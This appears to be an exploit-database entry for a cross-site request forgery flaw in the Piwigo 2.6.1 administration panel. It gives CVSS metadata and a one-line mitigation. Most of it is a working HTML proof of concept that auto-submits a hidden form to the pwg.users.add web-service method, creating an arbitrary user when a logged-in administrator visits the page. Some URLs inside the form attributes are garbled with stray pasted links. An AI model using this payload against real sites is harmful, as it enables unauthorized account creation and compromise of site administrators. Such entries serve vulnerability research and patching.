piwigo 2.6.1 - CSRF - exploit.company

vendor:

Piwigo

by:

killall-9@mail.com

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Piwigo

Affected Version From: 2.6.1

Affected Version To: 2.6.1

Patch Exists: N/A

Related CWE: N/A

CPE: a:piwigo:piwigo

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Virtualbox debian

2014

piwigo 2.6.1 – CSRF

A CSRF problem is present in the administration panel of Piwigo 2.6.1. An attacker can craft a malicious HTML page with a form that submits a POST request to the vulnerable application. This POST request can add an arbitrary user to the application.

Mitigation:

Implementing a CSRF token in the application can prevent this type of attack.

Source

Exploit-DB raw data:

# Exploit Title: piwigo 2.6.1 - CSRF
# Date: 26/02/2014
# Exploit Author: killall-9@mail.com
# Vendor Homepage: http://it.piwigo.org/
# Software Link: http://it.piwigo.org/basics/downloads
# Version: 2.6.1
# Tested on: Virtualbox debian

A CSRF problem is present in the administration panel.
Here it is a POF according to a derived POST:

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html lang="en">
<head>
<title>Piwigo 2.6.1</title>
</head>
<body>
<form action="http://localhost/piwigo/ws.php?format=json&method=pwg.users.add http://localhost/piwigo/ws.php?format=json&method=pwg.users.add&lang=en " id="formid" method="post">
<input name="username" value="utente" />
<input name="password" value="utente" />
<input name="email" value="utente@gmail.com http://service.mail.com/callgate-6.73.1.0/rms/6.73.1.0/mail/getBody?folderId=1&messageId=OTg2SQZUNUQ2Occvtn5u651INxBSYcL4&purpose=display&bodyType=html# "/>

</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>

So you can add a new arbitrary user.


cheerz°°°°